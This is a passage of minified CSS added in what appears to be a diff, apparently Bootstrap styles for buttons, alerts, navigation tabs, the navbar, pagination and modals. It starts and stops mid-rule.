linear;-moz-transition:opacity 0.15s linear;-ms-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear;opacity:0;}.fade.in{opacity:1;} +.collapse{-webkit-transition:height 0.35s ease;-moz-transition:height 0.35s ease;-ms-transition:height 0.35s ease;-o-transition:height 0.35s ease;transition:height 0.35s ease;position:relative;overflow:hidden;height:0;}.collapse.in{height:auto;} +.close{float:right;font-size:20px;font-weight:bold;line-height:18px;color:#000000;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20);}.close:hover{color:#000000;text-decoration:none;opacity:0.4;filter:alpha(opacity=40);cursor:pointer;} +.btn{display:inline-block;padding:4px 10px 4px;margin-bottom:0;font-size:13px;line-height:18px;color:#333333;text-align:center;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);vertical-align:middle;background-color:#f5f5f5;background-image:-moz-linear-gradient(top, #ffffff, #e6e6e6);background-image:-ms-linear-gradient(top, #ffffff, #e6e6e6);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(top, #ffffff, #e6e6e6);background-image:-o-linear-gradient(top, #ffffff, #e6e6e6);background-image:linear-gradient(top, #ffffff, #e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);border:1px solid #ccc;border-bottom-color:#bbb;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);*margin-left:.3em;}.btn:hover,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{background-color:#e6e6e6;} +.btn:active,.btn.active{background-color:#cccccc \9;} +.btn:first-child{*margin-left:0;} +.btn:hover{color:#333333;text-decoration:none;background-color:#e6e6e6;background-position:0 -15px;-webkit-transition:background-position 0.1s linear;-moz-transition:background-position 0.1s linear;-ms-transition:background-position 0.1s linear;-o-transition:background-position 0.1s linear;transition:background-position 0.1s linear;} +.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} +.btn.active,.btn:active{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);background-color:#e6e6e6;background-color:#d9d9d9 \9;outline:0;} +.btn.disabled,.btn[disabled]{cursor:default;background-image:none;background-color:#e6e6e6;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +.btn-large{padding:9px 14px;font-size:15px;line-height:normal;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;} +.btn-large [class^="icon-"]{margin-top:1px;} +.btn-small{padding:5px 9px;font-size:11px;line-height:16px;} +.btn-small [class^="icon-"]{margin-top:-1px;} +.btn-mini{padding:2px 6px;font-size:11px;line-height:14px;} +.btn-primary,.btn-primary:hover,.btn-warning,.btn-warning:hover,.btn-danger,.btn-danger:hover,.btn-success,.btn-success:hover,.btn-info,.btn-info:hover,.btn-inverse,.btn-inverse:hover{text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);color:#ffffff;} +.btn-primary.active,.btn-warning.active,.btn-danger.active,.btn-success.active,.btn-info.active,.btn-dark.active{color:rgba(255, 255, 255, 0.75);} +.btn-primary{background-color:#006dcc;background-image:-moz-linear-gradient(top, #0088cc, #0044cc);background-image:-ms-linear-gradient(top, #0088cc, #0044cc);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));background-image:-webkit-linear-gradient(top, #0088cc, #0044cc);background-image:-o-linear-gradient(top, #0088cc, #0044cc);background-image:linear-gradient(top, #0088cc, #0044cc);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0044cc', GradientType=0);border-color:#0044cc #0044cc #002a80;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-primary:hover,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{background-color:#0044cc;} +.btn-primary:active,.btn-primary.active{background-color:#003399 \9;} +.btn-warning{background-color:#faa732;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-ms-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(top, #fbb450, #f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);border-color:#f89406 #f89406 #ad6704;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-warning:hover,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled]{background-color:#f89406;} +.btn-warning:active,.btn-warning.active{background-color:#c67605 \9;} +.btn-danger{background-color:#da4f49;background-image:-moz-linear-gradient(top, #ee5f5b, #bd362f);background-image:-ms-linear-gradient(top, #ee5f5b, #bd362f);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));background-image:-webkit-linear-gradient(top, #ee5f5b, #bd362f);background-image:-o-linear-gradient(top, #ee5f5b, #bd362f);background-image:linear-gradient(top, #ee5f5b, #bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#bd362f', GradientType=0);border-color:#bd362f #bd362f #802420;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-danger:hover,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled]{background-color:#bd362f;} +.btn-danger:active,.btn-danger.active{background-color:#942a25 \9;} +.btn-success{background-color:#5bb75b;background-image:-moz-linear-gradient(top, #62c462, #51a351);background-image:-ms-linear-gradient(top, #62c462, #51a351);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));background-image:-webkit-linear-gradient(top, #62c462, #51a351);background-image:-o-linear-gradient(top, #62c462, #51a351);background-image:linear-gradient(top, #62c462, #51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#51a351', GradientType=0);border-color:#51a351 #51a351 #387038;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-success:hover,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled]{background-color:#51a351;} +.btn-success:active,.btn-success.active{background-color:#408140 \9;} +.btn-info{background-color:#49afcd;background-image:-moz-linear-gradient(top, #5bc0de, #2f96b4);background-image:-ms-linear-gradient(top, #5bc0de, #2f96b4);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));background-image:-webkit-linear-gradient(top, #5bc0de, #2f96b4);background-image:-o-linear-gradient(top, #5bc0de, #2f96b4);background-image:linear-gradient(top, #5bc0de, #2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#2f96b4', GradientType=0);border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-info:hover,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled]{background-color:#2f96b4;} +.btn-info:active,.btn-info.active{background-color:#24748c \9;} +.btn-inverse{background-color:#393939;background-image:-moz-linear-gradient(top, #454545, #262626);background-image:-ms-linear-gradient(top, #454545, #262626);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#454545), to(#262626));background-image:-webkit-linear-gradient(top, #454545, #262626);background-image:-o-linear-gradient(top, #454545, #262626);background-image:linear-gradient(top, #454545, #262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545', endColorstr='#262626', GradientType=0);border-color:#262626 #262626 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-inverse:hover,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled]{background-color:#262626;} +.btn-inverse:active,.btn-inverse.active{background-color:#0c0c0c \9;} +button.btn,input[type="submit"].btn{*padding-top:2px;*padding-bottom:2px;}button.btn::-moz-focus-inner,input[type="submit"].btn::-moz-focus-inner{padding:0;border:0;} +button.btn.large,input[type="submit"].btn.large{*padding-top:7px;*padding-bottom:7px;} +button.btn.small,input[type="submit"].btn.small{*padding-top:3px;*padding-bottom:3px;} +.btn-group{position:relative;*zoom:1;*margin-left:.3em;}.btn-group:before,.btn-group:after{display:table;content:"";} +.btn-group:after{clear:both;} +.btn-group:first-child{*margin-left:0;} +.btn-group+.btn-group{margin-left:5px;} +.btn-toolbar{margin-top:9px;margin-bottom:9px;}.btn-toolbar .btn-group{display:inline-block;*display:inline;*zoom:1;} +.btn-group .btn{position:relative;float:left;margin-left:-1px;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.btn-group .btn:first-child{margin-left:0;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;} +.btn-group .btn:last-child,.btn-group .dropdown-toggle{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;} +.btn-group .btn.large:first-child{margin-left:0;-webkit-border-top-left-radius:6px;-moz-border-radius-topleft:6px;border-top-left-radius:6px;-webkit-border-bottom-left-radius:6px;-moz-border-radius-bottomleft:6px;border-bottom-left-radius:6px;} +.btn-group .btn.large:last-child,.btn-group .large.dropdown-toggle{-webkit-border-top-right-radius:6px;-moz-border-radius-topright:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;-moz-border-radius-bottomright:6px;border-bottom-right-radius:6px;} +.btn-group .btn:hover,.btn-group .btn:focus,.btn-group .btn:active,.btn-group .btn.active{z-index:2;} +.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0;} +.btn-group .dropdown-toggle{padding-left:8px;padding-right:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125),inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125),inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125),inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);*padding-top:5px;*padding-bottom:5px;} +.btn-group.open{*z-index:1000;}.btn-group.open .dropdown-menu{display:block;margin-top:1px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;} +.btn-group.open .dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 1px 6px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 6px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 6px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);} +.btn .caret{margin-top:7px;margin-left:0;} +.btn:hover .caret,.open.btn-group .caret{opacity:1;filter:alpha(opacity=100);} +.btn-primary .caret,.btn-danger .caret,.btn-info .caret,.btn-success .caret,.btn-inverse .caret{border-top-color:#ffffff;opacity:0.75;filter:alpha(opacity=75);} +.btn-small .caret{margin-top:4px;} +.alert{padding:8px 35px 8px 14px;margin-bottom:18px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} +.alert,.alert-heading{color:#c09853;} +.alert .close{position:relative;top:-2px;right:-21px;line-height:18px;} +.alert-success{background-color:#dff0d8;border-color:#d6e9c6;} +.alert-success,.alert-success .alert-heading{color:#468847;} +.alert-danger,.alert-error{background-color:#f2dede;border-color:#eed3d7;} +.alert-danger,.alert-error,.alert-danger .alert-heading,.alert-error .alert-heading{color:#b94a48;} +.alert-info{background-color:#d9edf7;border-color:#bce8f1;} +.alert-info,.alert-info .alert-heading{color:#3a87ad;} +.alert-block{padding-top:14px;padding-bottom:14px;} +.alert-block>p,.alert-block>ul{margin-bottom:0;} +.alert-block p+p{margin-top:5px;} +.nav{margin-left:0;margin-bottom:18px;list-style:none;} +.nav>li>a{display:block;} +.nav>li>a:hover{text-decoration:none;background-color:#eeeeee;} +.nav .nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:18px;color:#999999;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);text-transform:uppercase;} +.nav li+.nav-header{margin-top:9px;} +.nav-list{padding-left:14px;padding-right:14px;margin-bottom:0;} +.nav-list>li>a,.nav-list .nav-header{margin-left:-15px;margin-right:-15px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);} +.nav-list>li>a{padding:3px 15px;} +.nav-list .active>a,.nav-list .active>a:hover{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.2);background-color:#0088cc;} +.nav-list [class^="icon-"]{margin-right:2px;} +.nav-tabs,.nav-pills{*zoom:1;}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;content:"";} +.nav-tabs:after,.nav-pills:after{clear:both;} +.nav-tabs>li,.nav-pills>li{float:left;} +.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px;} +.nav-tabs{border-bottom:1px solid #ddd;} +.nav-tabs>li{margin-bottom:-1px;} +.nav-tabs>li>a{padding-top:9px;padding-bottom:9px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;}.nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #dddddd;} +.nav-tabs>.active>a,.nav-tabs>.active>a:hover{color:#555555;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default;} +.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;} +.nav-pills .active>a,.nav-pills .active>a:hover{color:#ffffff;background-color:#0088cc;} +.nav-stacked>li{float:none;} +.nav-stacked>li>a{margin-right:0;} +.nav-tabs.nav-stacked{border-bottom:0;} +.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;} +.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;} +.nav-tabs.nav-stacked>li>a:hover{border-color:#ddd;z-index:2;} +.nav-pills.nav-stacked>li>a{margin-bottom:3px;} +.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px;} +.nav-tabs .dropdown-menu,.nav-pills .dropdown-menu{margin-top:1px;border-width:1px;} +.nav-pills .dropdown-menu{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} +.nav-tabs .dropdown-toggle .caret,.nav-pills .dropdown-toggle .caret{border-top-color:#0088cc;margin-top:6px;} +.nav-tabs .dropdown-toggle:hover .caret,.nav-pills .dropdown-toggle:hover .caret{border-top-color:#005580;} +.nav-tabs .active .dropdown-toggle .caret,.nav-pills .active .dropdown-toggle .caret{border-top-color:#333333;} +.nav>.dropdown.active>a:hover{color:#000000;cursor:pointer;} +.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>.open.active>a:hover{color:#ffffff;background-color:#999999;border-color:#999999;} +.nav .open .caret,.nav .open.active .caret,.nav .open a:hover .caret{border-top-color:#ffffff;opacity:1;filter:alpha(opacity=100);} +.tabs-stacked .open>a:hover{border-color:#999999;} +.tabbable{*zoom:1;}.tabbable:before,.tabbable:after{display:table;content:"";} +.tabbable:after{clear:both;} +.tab-content{overflow:hidden;} +.tabs-below .nav-tabs,.tabs-right .nav-tabs,.tabs-left .nav-tabs{border-bottom:0;} +.tab-content>.tab-pane,.pill-content>.pill-pane{display:none;} +.tab-content>.active,.pill-content>.active{display:block;} +.tabs-below .nav-tabs{border-top:1px solid #ddd;} +.tabs-below .nav-tabs>li{margin-top:-1px;margin-bottom:0;} +.tabs-below .nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;}.tabs-below .nav-tabs>li>a:hover{border-bottom-color:transparent;border-top-color:#ddd;} +.tabs-below .nav-tabs .active>a,.tabs-below .nav-tabs .active>a:hover{border-color:transparent #ddd #ddd #ddd;} +.tabs-left .nav-tabs>li,.tabs-right .nav-tabs>li{float:none;} +.tabs-left .nav-tabs>li>a,.tabs-right .nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px;} +.tabs-left .nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd;} +.tabs-left .nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;} +.tabs-left .nav-tabs>li>a:hover{border-color:#eeeeee #dddddd #eeeeee #eeeeee;} +.tabs-left .nav-tabs .active>a,.tabs-left .nav-tabs .active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#ffffff;} +.tabs-right .nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd;} +.tabs-right .nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;} +.tabs-right .nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #eeeeee #dddddd;} +.tabs-right .nav-tabs .active>a,.tabs-right .nav-tabs .active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#ffffff;} +.navbar{overflow:visible;margin-bottom:18px;} +.navbar-inner{padding-left:20px;padding-right:20px;background-color:#2c2c2c;background-image:-moz-linear-gradient(top, #333333, #222222);background-image:-ms-linear-gradient(top, #333333, #222222);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));background-image:-webkit-linear-gradient(top, #333333, #222222);background-image:-o-linear-gradient(top, #333333, #222222);background-image:linear-gradient(top, #333333, #222222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);} +.btn-navbar{display:none;float:right;padding:7px 10px;margin-left:5px;margin-right:5px;background-color:#2c2c2c;background-image:-moz-linear-gradient(top, #333333, #222222);background-image:-ms-linear-gradient(top, #333333, #222222);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));background-image:-webkit-linear-gradient(top, #333333, #222222);background-image:-o-linear-gradient(top, #333333, #222222);background-image:linear-gradient(top, #333333, #222222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);border-color:#222222 #222222 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1),0 1px 0 rgba(255, 255, 255, 0.075);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1),0 1px 0 rgba(255, 255, 255, 0.075);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1),0 1px 0 rgba(255, 255, 255, 0.075);}.btn-navbar:hover,.btn-navbar:active,.btn-navbar.active,.btn-navbar.disabled,.btn-navbar[disabled]{background-color:#222222;} +.btn-navbar:active,.btn-navbar.active{background-color:#080808 \9;} +.btn-navbar .icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);-moz-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);} +.btn-navbar .icon-bar+.icon-bar{margin-top:3px;} +.nav-collapse.collapse{height:auto;} +.navbar .brand:hover{text-decoration:none;} +.navbar .brand{float:left;display:block;padding:8px 20px 12px;margin-left:-20px;font-size:20px;font-weight:200;line-height:1;color:#ffffff;} +.navbar .navbar-text{margin-bottom:0;line-height:40px;color:#999999;}.navbar .navbar-text a:hover{color:#ffffff;background-color:transparent;} +.navbar .btn,.navbar .btn-group{margin-top:5px;} +.navbar .btn-group .btn{margin-top:0;} +.navbar-form{margin-bottom:0;*zoom:1;}.navbar-form:before,.navbar-form:after{display:table;content:"";} +.navbar-form:after{clear:both;} +.navbar-form input,.navbar-form select{display:inline-block;margin-top:5px;margin-bottom:0;} +.navbar-form .radio,.navbar-form .checkbox{margin-top:5px;} +.navbar-form input[type="image"],.navbar-form input[type="checkbox"],.navbar-form input[type="radio"]{margin-top:3px;} +.navbar-form .input-append,.navbar-form .input-prepend{margin-top:6px;white-space:nowrap;}.navbar-form .input-append input,.navbar-form .input-prepend input{margin-top:0;} +.navbar-search{position:relative;float:left;margin-top:6px;margin-bottom:0;}.navbar-search .search-query{padding:4px 9px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;color:#ffffff;color:rgba(255, 255, 255, 0.75);background:#666;background:rgba(255, 255, 255, 0.3);border:1px solid #111;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.15);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.15);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.15);-webkit-transition:none;-moz-transition:none;-ms-transition:none;-o-transition:none;transition:none;}.navbar-search .search-query :-moz-placeholder{color:#eeeeee;} +.navbar-search .search-query::-webkit-input-placeholder{color:#eeeeee;} +.navbar-search .search-query:hover{color:#ffffff;background-color:#999999;background-color:rgba(255, 255, 255, 0.5);} +.navbar-search .search-query:focus,.navbar-search .search-query.focused{padding:5px 10px;color:#333333;text-shadow:0 1px 0 #ffffff;background-color:#ffffff;border:0;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15);outline:0;} +.navbar-fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030;} +.navbar-fixed-top .navbar-inner{padding-left:0;padding-right:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.navbar .nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0;} +.navbar .nav.pull-right{float:right;} +.navbar .nav>li{display:block;float:left;} +.navbar .nav>li>a{float:none;padding:10px 10px 11px;line-height:19px;color:#999999;text-decoration:none;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);} +.navbar .nav>li>a:hover{background-color:transparent;color:#ffffff;text-decoration:none;} +.navbar .nav .active>a,.navbar .nav .active>a:hover{color:#ffffff;text-decoration:none;background-color:#222222;} +.navbar .divider-vertical{height:40px;width:1px;margin:0 9px;overflow:hidden;background-color:#222222;border-right:1px solid #333333;} +.navbar .nav.pull-right{margin-left:10px;margin-right:0;} +.navbar .dropdown-menu{margin-top:1px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.navbar .dropdown-menu:before{content:'';display:inline-block;border-left:7px solid transparent;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-bottom-color:rgba(0, 0, 0, 0.2);position:absolute;top:-7px;left:9px;} +.navbar .dropdown-menu:after{content:'';display:inline-block;border-left:6px solid transparent;border-right:6px solid transparent;border-bottom:6px solid #ffffff;position:absolute;top:-6px;left:10px;} +.navbar .nav .dropdown-toggle .caret,.navbar .nav .open.dropdown .caret{border-top-color:#ffffff;} +.navbar .nav .active .caret{opacity:1;filter:alpha(opacity=100);} +.navbar .nav .open>.dropdown-toggle,.navbar .nav .active>.dropdown-toggle,.navbar .nav .open.active>.dropdown-toggle{background-color:transparent;} +.navbar .nav .active>.dropdown-toggle:hover{color:#ffffff;} +.navbar .nav.pull-right .dropdown-menu{left:auto;right:0;}.navbar .nav.pull-right .dropdown-menu:before{left:auto;right:12px;} +.navbar .nav.pull-right .dropdown-menu:after{left:auto;right:13px;} +.breadcrumb{padding:7px 14px;margin:0 0 18px;background-color:#fbfbfb;background-image:-moz-linear-gradient(top, #ffffff, #f5f5f5);background-image:-ms-linear-gradient(top, #ffffff, #f5f5f5);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f5f5f5));background-image:-webkit-linear-gradient(top, #ffffff, #f5f5f5);background-image:-o-linear-gradient(top, #ffffff, #f5f5f5);background-image:linear-gradient(top, #ffffff, #f5f5f5);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);border:1px solid #ddd;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;}.breadcrumb li{display:inline-block;text-shadow:0 1px 0 #ffffff;} +.breadcrumb .divider{padding:0 5px;color:#999999;} +.breadcrumb .active a{color:#333333;} +.pagination{height:36px;margin:18px 0;} +.pagination ul{display:inline-block;*display:inline;*zoom:1;margin-left:0;margin-bottom:0;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);} +.pagination li{display:inline;} +.pagination a{float:left;padding:0 14px;line-height:34px;text-decoration:none;border:1px solid #ddd;border-left-width:0;} +.pagination a:hover,.pagination .active a{background-color:#f5f5f5;} +.pagination .active a{color:#999999;cursor:default;} +.pagination .disabled a,.pagination .disabled a:hover{color:#999999;background-color:transparent;cursor:default;} +.pagination li:first-child a{border-left-width:1px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} +.pagination li:last-child a{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;} +.pagination-centered{text-align:center;} +.pagination-right{text-align:right;} +.pager{margin-left:0;margin-bottom:18px;list-style:none;text-align:center;*zoom:1;}.pager:before,.pager:after{display:table;content:"";} +.pager:after{clear:both;} +.pager li{display:inline;} +.pager a{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;} +.pager a:hover{text-decoration:none;background-color:#f5f5f5;} +.pager .next a{float:right;} +.pager .previous a{float:left;} +.modal-open .dropdown-menu{z-index:2050;} +.modal-open .dropdown.open{*z-index:2050;} +.modal-open .popover{z-index:2060;} +.modal-open .tooltip{z-index:2070;} +.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000000;}.modal-backdrop.fade{opacity:0;} +.modal-backdrop,.modal-backdrop.fade.in{opacity:0.8;filter:alpha(opacity=80);} +.modal{position:fixed;top:50%;left:50%;z-index:1050;max-height:500px;overflow:auto;width:560px;margin:-250px 0 0 -280px;background-color:#ffffff;border:1px solid 